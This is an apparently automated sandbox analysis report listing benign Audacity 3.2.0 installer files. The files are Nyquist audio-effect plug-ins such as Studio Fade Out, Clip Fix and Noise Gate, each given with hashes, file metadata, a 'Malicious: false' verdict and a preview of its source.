SHA-256:	9946BDB883992E52F1F81B0722FB378A80399E8D4A84567C4E761CF732ACBB3A
SHA-512:	9C11B93153C35DE1DF82E4811550493B94F81F793661B5B7ACD96741DD0FDCA602BE73DAE1F74B365DA112F58BE9A661AA71E6F68029440A493D44CA5204FD86
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Studio Fade Out")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; Produce a smooth and musical sounding fade out...;; Applies a sinusoidal fade out with a progressive low-pass..;; filter from full spectrum at start to 100 Hz at end.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;;; sweeping low pass filter .. (defun filter (sig dur).. (abs-env.. ;; cross-fade the filter.. (let* ((nyq-hz (/ sound-srate 2)).. (f-out (r-cos (min (/ dur 2.0) 0.5))).. (f-in (diff (snd-const 1 0 sound-srate dur) f-out))).. (sim.. (mult f-out sig).. (mult f-in (lp sig (pwlv nyq-hz dur 100)))))))....;;; raised cosine..(defun r-cos (dur).. (abs-env.. (mult 0.5 ..

C:\Program Files\Audacity\Plug-Ins\adjustable-fade.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8073
Entropy (8bit):	4.325707401008412
Encrypted:	false
SSDEEP:	96:KNy8JrfoJ2J2zUZrsWT7FG0FiV+k6rFipMZxUdCqv4LzsQGBKFLe5QOxlFJFP83i:KLrfoRz4rsWTk6rEaZxUUqv6JGRQTy
MD5:	9A138A1D755F227ABAC2401FAC3355EE
SHA1:	7E0F9F33CCD3310FB5D5AAA56756600D78D72D1C
SHA-256:	F1962D3EA9D35687741E5FB314AF56E5DCB61E45EDEACF1AF05BB0A094C752F1
SHA-512:	6F62F72B5867D62825A5112F76418A06153E014975BEA7AEAC1E74B45771F7009E9B37CA5D28A9D86A446E3912AD843A5A9033294E30D369A140A379801AF392
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$preview selection..$name (_ "Adjustable Fade")..$manpage "Adjustable_Fade"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control type (_ "Fade Type") choice (("Up" (_ "Fade Up")).. ("Down" (_ "Fade Down")).. ("SCurveUp" (_ "S-Curve Up")).. ("SCurveDown" (_ "S-Curve Down"))) 0..$control curve (_ "Mid-fade Adjust (%)") real "" 0 -100 100..$control units (_ "Start/End as") choice (("Percent" (_ "% of Original")).. ("dB" (_ "dB Gain"))) 0 ..$control gain0 (_ "Start (or end)") float

C:\Program Files\Audacity\Plug-Ins\beat.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	4.927785695257285
Encrypted:	false
SSDEEP:	24:R8QZPv4tnxkCBZppZFTuK+O+WZj/+4QRZUgob+pprFfDFr3Jx5tFu3v:RfPvCyCBZuBO+WpG4dQpprFfDFrFu3v
MD5:	06EB36763ABB67BE47E17D68803DF2A6
SHA1:	E61E3C4B981CF37D61AEDB6A3F6E32A44CD7C79F
SHA-256:	1A70ED50B75975EF845B51F4CD277184C6F3CE9570B36CE583CAF23F86DDF672
SHA-512:	FAB082C73E303A113A0864A7BEC990A001EF43373961674849E2C68774D2782E0502EBBB98649D20AEB94F56039BD71C2B789AD09D9483D135AF3A73657D0429
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type analyze..$name (_ "Beat Finder")..$manpage "Beat_Finder"..$debugbutton false..$author (_ "Audacity")..$release 2.3.2-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control thresval (_ "Threshold Percentage") int "" 65 5 100....(setf threshold (/ thresval 100.0))....(defun mix-to-mono (sig).. (if (arrayp sig).. (sum (aref sig 0) (aref sig 1)).. sig))....(defun bass-tracker (sig).. (let* ((bass (lp sig 50)).. ;(snd-follow sound floor risetime falltime lookahead).. (follower (snd-follow bass 0.001 0.01 0.1 512))).. (force-srate 1000 (lp follower 10))))......(let ((beats (bass-tracker (mix-to-mono track)))).. (setf peak-sig (peak beats ny:all)).. (setf threshold (* threshold peak-sig)).. (do ((ti

C:\Program Files\Audacity\Plug-Ins\clipfix.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4473
Entropy (8bit):	4.683874180020147
Encrypted:	false
SSDEEP:	96:6y8Cly4Jj5EtBQF7QVTF/QoFlXwff72/F4FnjBWgF2Fy3rLFlG:XlzvEt4jYgG
MD5:	A75DA464CD125BC986B8F42C234F781D
SHA1:	9D4E081932FC66F5BDA91068F049713C3042E756
SHA-256:	1DB358A6D0E9B842207BB8D0F7F87297199D30A04115636E00B13F6085A47EBB
SHA-512:	019EF93D8B8F487A908DB070EFB8561297D2E666579AF04E722128A012701F22F40A1990E6BA686997CB05D701CC12FCFBDC366B4B2D785BB0711C8E0534E1C2
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview enabled..$name (_ "Clip Fix")..$manpage "Clip_Fix"..$debugbutton false..$author (_ "Benjamin Schwartz and Steve Daulton")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; Algorithm by Benjamin Schwartz..;; Clip Fix is a simple, stupid (but not blind) digital-clipping-corrector..;; The algorithm is fairly simple:..;; 1. Find all clipped regions..;; 2. Get the slope immediately on either side of the region..;; 3. Do a cubic spline interpolation...;; 4. Go to next region......$control threshold (_ "Threshold of Clipping (%)") float "" 95 0 100..$control gain (_ "Reduce amplitude to allow for restored peaks (dB)") float "" -9 -30 0....(setf threshold (/ threshold 100))..(setf gain (db-to-linear gain)

C:\Program Files\Audacity\Plug-Ins\crossfadeclips.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	4.5017741961308895
Encrypted:	false
SSDEEP:	96:0qy8jxKhRARPWBjhxEjWWQX+Dc/E0DPpTFQ2hE2XYk:08KhRAIui5cSEUpERk
MD5:	82420A5A48A1CFD1BCAC911C27E91C2D
SHA1:	8B07FD941DDBD7EB5A241500EA3E1A36A7B61E5A
SHA-256:	FF75300A77CCD08F0528712E46151B9917C1A721F2573BEBFE3D48946A485169
SHA-512:	91EC16731D03487124735BDA9CA87B18E155148671DDDF33D511865C07893051D0ABE2A9028D33C5B660E05625CBCF68FC33D13D1178ABADDD94551873DFFC27
Malicious:	false
Preview:	$nyquist plugin..$version 4..$type process..$mergeclips 1..$restoresplits 0..$name (_ "Crossfade Clips")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later") ......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; Instructions:..;; Place two audio clips into the same track...;; Select (approximately) the same amount of audio from the..;; end of one clip and the start of the other...;; Apply the effect...;; The selected regions will be crossfaded...;;..;; Note, the audio clips do not need to be touching. Any..;; white-space between the clips is ignored...;;..;; If the selected region is continuous audio (no splits),..;; the the first and last halves of the selected audio..;; will be crossfaded...;;..;; Advanced Tip:..;; A discontinuity in a waveform may be smoothed by

C:\Program Files\Audacity\Plug-Ins\crossfadetracks.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3021
Entropy (8bit):	4.727469915643501
Encrypted:	false
SSDEEP:	48:TYryfyCBLvcrsFf6ulQRFPB2ZrZ/wY2MRFq2LFyU+Yp64Eo/7Fu8FikFl0RRQB:Zy8bc4Ff6vFP099FqWFyU+YU43/7Fu81
MD5:	BD76A2E703EAB5DC4AD079D559291896
SHA1:	C0C186FCF784512AD9D4820E3AAF7E6D74BEB720
SHA-256:	C93EEC1BD5B40301A6E13DF7A7680F881A0B439A3C46DBE33EE2E4BF5BDFC47E
SHA-512:	EA7F0DA4279DF1FF39AC57220E9CD050838D3E756152E488C6AE75FD76C1FCB4BDF8D9298A8F94ECF4D618188A92933E1CA9A78BD8D9147A59FC44EDEB7D9FC9
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Crossfade Tracks")..$manpage "Crossfade_Tracks"..$debugbutton disabled..$preview selection..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....$control type (_ "Fade type") choice (.. ("ConstantGain" (_ "Constant Gain")).. ("ConstantPower1" (_ "Constant Power 1")).. ("ConstantPower2" (_ "Constant Power 2")).. ("CustomCurve" (_ "Custom Curve"))..) 0..$control curve (_ "Custom curve") real "" 0 0 1..$control direction (_ "Fade direction") choice (.. (_ "Automatic").. ("OutIn" (_ "Alternating Out / In")).. ("InOut" (_ "Alternating In / Out"))..) 0......(defun crossfade (type dir curve).. (setf fade-out.. (case dir.. (0 (equal (guessdirection)

C:\Program Files\Audacity\Plug-Ins\delay.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4397
Entropy (8bit):	4.439086848197121
Encrypted:	false
SSDEEP:	96:KGfS+J8zrnTrwAGR+6plfFBIa7qwjYD4FqAa:KGfoDXwhJnwaWwMD7
MD5:	2AC84EF79FDBF70DC00BBE7203919CE0
SHA1:	DBA0E9B87741984EDBE1A1AC2017BB3956BDCFE4
SHA-256:	542F789B3F2F450B6D6DD80C45DBCC344C4D8E119C435B9FBA1B224BEA092B0A
SHA-512:	2418298083EDEF2235CF71232C794A4114F359AABB697A1BF7029DB3B925BD4135BA9C20E4BBDDEDC70DCB3AF9BFAAF0313DA4CEC57D1AAEBBDF8B748BC1C68E
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Delay")..$manpage "Delay"..$debugbutton false..$author (_ "Steve Daulton")..$release 2.3.1-1..$copyright (_ "GNU General Public License v2.0")......;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;; based on 'Delay' by David R. Sky..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control delay-type (_ "Delay type") choice ((_ "Regular").. ("BouncingBall" (_ "Bouncing Ball")).. ("ReverseBouncingBall" (_ "Reverse Bouncing Ball"))) 0..$control dgain (_ "Delay level per echo (dB)") real "" -6 -30 1..$control delay (_ "Delay time (seconds)") real "" 0.3 0 5..$control pitch-type (_ "Pitch change effect") choice (("PitchTempo" (_ "Pitch/Tempo")).. ("LQPitchShift"

C:\Program Files\Audacity\Plug-Ins\eq-xml-to-txt-converter.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5916
Entropy (8bit):	4.523348864400932
Encrypted:	false
SSDEEP:	96:QKy8nNNMtSgYF0FEFpxFGFRFyFHFSqxUxyFH+WLFImDmhjKH3hV2uq78:jMtSgYxyc+Wymqhjc3hoT8
MD5:	E0A4B751D8D2C0FA37982BB311F2AC00
SHA1:	B5039DDA294382A05B880DC21C36B4DB8BF87765
SHA-256:	F3D96980C9EE2283F2CF7673E26B7294E2F7FF9E2910D1BE62FF3150FF9467E2
SHA-512:	C06E8719E317AF5CD980B7E8784A494D7872A059010D5DE201DB841FABE7872389607F3CA125BDC645A31FFD54E8B55996415B9FB494DD32B171E7D1FD97126C
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool..$name (_ "EQ XML to TXT Converter")..$manpage "EQ_XML_to_TXT_Converter"..$debugbutton false..$preview disabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control fxname (_ "Select target EQ effect") choice (("Graphic" (_ "Graphic EQ")).. ("FilterCurve" (_ "Filter Curve EQ"))) 0....$control infile (_ "Equalization XML file") file "" "default/EQCurves.xml" (((_ "XML file") (xml XML)).. ((_ "All files") (""))) "open,exists"....$control overwrite (_ "If output text file exists") choice (("Append" (_ "Append number")).. ("Overwrite

C:\Program Files\Audacity\Plug-Ins\equalabel.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6306
Entropy (8bit):	4.453144630911423
Encrypted:	false
SSDEEP:	96:6YKy8rFmrGQ/WiaFaFnFKx5FPFQFcFcrFcDFfFD03DFKzmSFwFQFcFfP:6YkflxXzmt
MD5:	1FC4E6E6ABE96571BA1D14C9C29F6189
SHA1:	30342B7D37080C44C9DA4E89CC0703A1DC29280D
SHA-256:	BC0404BE54EDF077FBDFFBD80901E1940755E38D7CDCF6D4E7CD2E38B6464575
SHA-512:	205DB11B2F649567A45E1E55C68208478BF8493E72399BE7C744387D07E6AF14F375CA572FF18A6A361168531ABC16DD1717379F839B308D033F4C830F155C3A
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool analyze..$debugbutton false..$debugflags trace..$name (_ "Regular Interval Labels")..$manpage "Regular_Interval_Labels"..$author (_ "Steve Daulton")..$release 2.3.1-1..$copyright (_ "GNU General Public License v2.0 or later")......;; Original version by David R. Sky (http://www.garyallendj.com/davidsky/) 2007...;; Based on an idea by Sami Jumppanen, with contributions from..;; Alex S.Brown, Dominic Mazzoni, Pierre M.I., Gale Andrews...;;..;; TODO: Rewrite as an AUD-DO script so as to remove the requirement for..;; an audio selection.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;i18n-hint: Refers to the controls 'Number of labels' and 'Label interval'...$control mode (_ "Create labels based on") choice (("Both" (_ "Number and Interval"))..

C:\Program Files\Audacity\Plug-Ins\highpass.ny (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	4.600676419170374
Encrypted:	false
SSDEEP:	24:K+vIPv4tnxkCBNM3JyraOpUzMzM1OchMz5ac:KyIPvCyCBeEmOq+cQf
MD5:	8FDC9F31DB215807B68DC0CD34F7BE2B
SHA1:	CC70A260936E1200FE421CBDCEB11DFA0DABFDBB
SHA-256:	B540B378AB5D798CA953A8747D86CF52C0E0A0C1787027A8E86DEAC1F5A7E883
SHA-512:	31684F46806B1EA73AB894D16AD587D0D869512C6C808745BEC5D13DFF6738B7FF9C10484A174CBCFDC0E798BC8C67CDEC458A17C640F0E32223C792049E8792
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "High-Pass Filter")..$manpage "High-Pass_Filter"..$debugbutton disabled..$author (_ "Dominic Mazzoni")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 1000 0 nil..$control rolloff (_ "Roll-off (dB per octave)") choice (("dB6" (_ "6 dB")).. ("dB12" (_ "12 dB")).. ("dB24" (_ "24 dB")).. ("dB36" (_ "36 dB")).. ("dB48" (_ "48 dB"))) 0......(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>

C:\Program Files\Audacity\Plug-Ins\is-02MKN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6771
Entropy (8bit):	4.791286856460027
Encrypted:	false
SSDEEP:	96:h48RTKtMDeGWe0buYvLI0w2Ci6s7+37fX0cb6HuzFEDs5F7FnG9E:dT63KYz8G60cCKFWsRG9E
MD5:	F53E0425E919E522237614EC676A82AD
SHA1:	FFE8A463CCCEDE3B3D21F955CF7B59BC2BBD8263
SHA-256:	5B42029E57129C4BA686E8E107F6FFF7C80FAF9F0E433503416D52255FF29CE6
SHA-512:	615A1D152F6CD000730BD806E34ED6009B47999B5FC27E720896AFBA991F151F50F982AF33CB9F001FE92F61EE6EC65FC1C5135092879146ED973505EA1D4C00
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Noise Gate")..$manpage "Noise_Gate"..$debugbutton false..$preview enabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html ...;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control mode (_ "Select Function") choice (("Gate" (_ "Gate")).. ("Analyze" (_ "Analyze Noise Level"))).. 0..$control stereo-link (_ "Stereo Linking") choice (("LinkStereo" (_ "Link Stereo Tracks")).. ("DoNotLink" (_ "Don't Link Stereo"))).. 0..;; Work around bug 2336 - Text after control is not read by screen reader...$control threshold (_ "Gate threshold

C:\Program Files\Audacity\Plug-Ins\is-06UFT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18360
Entropy (8bit):	4.575046305658227
Encrypted:	false
SSDEEP:	96:Yy8rOsOMxq4LBHFGcykj+oPvzQHwU7MmosY4rfRYPmyUplisMFGz2NFE6HnReer0:crIDo394Wvj+QIRaqEJBqYC05Lbgfh
MD5:	C753F871D44C809B9251BBC8D1542C11
SHA1:	2E5D45A17884D8E7BB1AB4673A324D940D21B190
SHA-256:	43934DCF5BE5265D178701F09914348CCBF78FF93641626A89FF2051CF2291C9
SHA-512:	83D3DDCAF207C15E821705536744B79A81B2E2A340E24ED7DD0E702F525C14CA80F4EBB1322C9C15765896D2F6129577AB0557BD8DACF2EB623DA6CE0ACFAFBF
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool analyze..$name (_ "Sample Data Export")..$manpage "Sample_Data_Export"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;; To enable L/R prefix before alternate L/R channels..;; (text output with header only)..;; remove the semicolon from the start of the next line:..;(setq LR-prefix '("L: " "R: "))....$control number (_ "Limit output to first") int-text (_ "samples") 100 1 1000000..$control units (_ "Measurement scale") choice ((_ "dB") (_ "Linear")) 0..$control filename (_ "Export data to") file (_ "Select a file") "default/sample-data.txt" (((_ "Text file") (txt TXT)).. ((_ "CSV files") (csv CSV))..

C:\Program Files\Audacity\Plug-Ins\is-11997.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3021
Entropy (8bit):	4.727469915643501
Encrypted:	false
SSDEEP:	48:TYryfyCBLvcrsFf6ulQRFPB2ZrZ/wY2MRFq2LFyU+Yp64Eo/7Fu8FikFl0RRQB:Zy8bc4Ff6vFP099FqWFyU+YU43/7Fu81
MD5:	BD76A2E703EAB5DC4AD079D559291896
SHA1:	C0C186FCF784512AD9D4820E3AAF7E6D74BEB720
SHA-256:	C93EEC1BD5B40301A6E13DF7A7680F881A0B439A3C46DBE33EE2E4BF5BDFC47E
SHA-512:	EA7F0DA4279DF1FF39AC57220E9CD050838D3E756152E488C6AE75FD76C1FCB4BDF8D9298A8F94ECF4D618188A92933E1CA9A78BD8D9147A59FC44EDEB7D9FC9
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Crossfade Tracks")..$manpage "Crossfade_Tracks"..$debugbutton disabled..$preview selection..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....$control type (_ "Fade type") choice (.. ("ConstantGain" (_ "Constant Gain")).. ("ConstantPower1" (_ "Constant Power 1")).. ("ConstantPower2" (_ "Constant Power 2")).. ("CustomCurve" (_ "Custom Curve"))..) 0..$control curve (_ "Custom curve") real "" 0 0 1..$control direction (_ "Fade direction") choice (.. (_ "Automatic").. ("OutIn" (_ "Alternating Out / In")).. ("InOut" (_ "Alternating In / Out"))..) 0......(defun crossfade (type dir curve).. (setf fade-out.. (case dir.. (0 (equal (guessdirection)

C:\Program Files\Audacity\Plug-Ins\is-591EJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	4.879492940131021
Encrypted:	false
SSDEEP:	24:z+nvjckLZhTYPnxkCBoy/DtZpe7rlBCDlcV4MpBC+XnIW9Fq:zcr7lYfyCBba2s4oPXr9Q
MD5:	9E328423F69AD77B31F0C38CA9B5E8D3
SHA1:	7D6D162B0B26BB5A4D0083A9C5CEA41AB2C165A6
SHA-256:	9946BDB883992E52F1F81B0722FB378A80399E8D4A84567C4E761CF732ACBB3A
SHA-512:	9C11B93153C35DE1DF82E4811550493B94F81F793661B5B7ACD96741DD0FDCA602BE73DAE1F74B365DA112F58BE9A661AA71E6F68029440A493D44CA5204FD86
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Studio Fade Out")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; Produce a smooth and musical sounding fade out...;; Applies a sinusoidal fade out with a progressive low-pass..;; filter from full spectrum at start to 100 Hz at end.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;;; sweeping low pass filter .. (defun filter (sig dur).. (abs-env.. ;; cross-fade the filter.. (let* ((nyq-hz (/ sound-srate 2)).. (f-out (r-cos (min (/ dur 2.0) 0.5))).. (f-in (diff (snd-const 1 0 sound-srate dur) f-out))).. (sim.. (mult f-out sig).. (mult f-in (lp sig (pwlv nyq-hz dur 100)))))))....;;; raised cosine..(defun r-cos (dur).. (abs-env.. (mult 0.5 ..

C:\Program Files\Audacity\Plug-Ins\is-6KU03.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6306
Entropy (8bit):	4.453144630911423
Encrypted:	false
SSDEEP:	96:6YKy8rFmrGQ/WiaFaFnFKx5FPFQFcFcrFcDFfFD03DFKzmSFwFQFcFfP:6YkflxXzmt
MD5:	1FC4E6E6ABE96571BA1D14C9C29F6189
SHA1:	30342B7D37080C44C9DA4E89CC0703A1DC29280D
SHA-256:	BC0404BE54EDF077FBDFFBD80901E1940755E38D7CDCF6D4E7CD2E38B6464575
SHA-512:	205DB11B2F649567A45E1E55C68208478BF8493E72399BE7C744387D07E6AF14F375CA572FF18A6A361168531ABC16DD1717379F839B308D033F4C830F155C3A
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool analyze..$debugbutton false..$debugflags trace..$name (_ "Regular Interval Labels")..$manpage "Regular_Interval_Labels"..$author (_ "Steve Daulton")..$release 2.3.1-1..$copyright (_ "GNU General Public License v2.0 or later")......;; Original version by David R. Sky (http://www.garyallendj.com/davidsky/) 2007...;; Based on an idea by Sami Jumppanen, with contributions from..;; Alex S.Brown, Dominic Mazzoni, Pierre M.I., Gale Andrews...;;..;; TODO: Rewrite as an AUD-DO script so as to remove the requirement for..;; an audio selection.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;i18n-hint: Refers to the controls 'Number of labels' and 'Label interval'...$control mode (_ "Create labels based on") choice (("Both" (_ "Number and Interval"))..

C:\Program Files\Audacity\Plug-Ins\is-6QFDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4001
Entropy (8bit):	4.676703169661069
Encrypted:	false
SSDEEP:	48:NryfyCBYeVN0ptB2lnj+idjXKEKtrQGJaEYQN/TbpDUprp5pbpD07gI8P1pKlYXk:ey8YkN0pTkhdjajtDldMh+l15FZ
MD5:	8C322496BCD7B1E4B4C31FF6924D46A2
SHA1:	8E448A53E8E6793FC0AC74E25A4F85568FE9D051
SHA-256:	FE8C87C40A2A1EDDF240029B14D2455013766DDD24F9BCA452BED084D30E7921
SHA-512:	3FA14D823F0D0C859D626DEB45E54796DF8ABEABDFF545D874FE9B24B6D9DF499B6C2CAAECD1C43B412BBA4901CAED344A29B50652839C06B5423B1379969C6B
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool generate..$name (_ "Sample Data Import")..$manpage "Sample_Data_Import"..$debugbutton false..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control filename (_ "Select file") file "" "default/sample-data.txt" (((_ "Text file") (txt TXT)).. ((_ "All files") (""))) "open,exists"..$control bad-data (_ "Invalid data handling") choice (("ThrowError" (_ "Throw Error")).. ("ReadAsZero" (_ "Read as Zero"))) 0......;; Check file can be opened..(defun fileopensp (fname).. (cond.. ((not (setf fstream (open fname))).. (throw 'err (format nil (_ "Error~%~.. '~a' could not

C:\Program Files\Audacity\Plug-Ins\is-77BQK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2757
Entropy (8bit):	4.646471166397133
Encrypted:	false
SSDEEP:	48:zBtPvCyCBgrxHjAKy+9fES5f9/IjLC3rxELV1UblJNJzydYFev:Ky8gr+BguqqEblJNJzBFev
MD5:	F40904E0D3E67D7BAB4CF5B3A39F7C18
SHA1:	0843D06D63D98ADA69DB1DCC05D603CA48BCC2BC
SHA-256:	F0349FBCDB90E9DD92F6789FA0D9B9D01ECC03EF5E944C7D90BE0C97B0558E79
SHA-512:	886359CF972EA914206ED9B2FFEB0946EA00DA37835C7D7792342EE558D62F248A6DFDCC118731A22D2D56A2A37073DDFAB6E3116F7810B40F5C0A7918C2E190
Malicious:	false
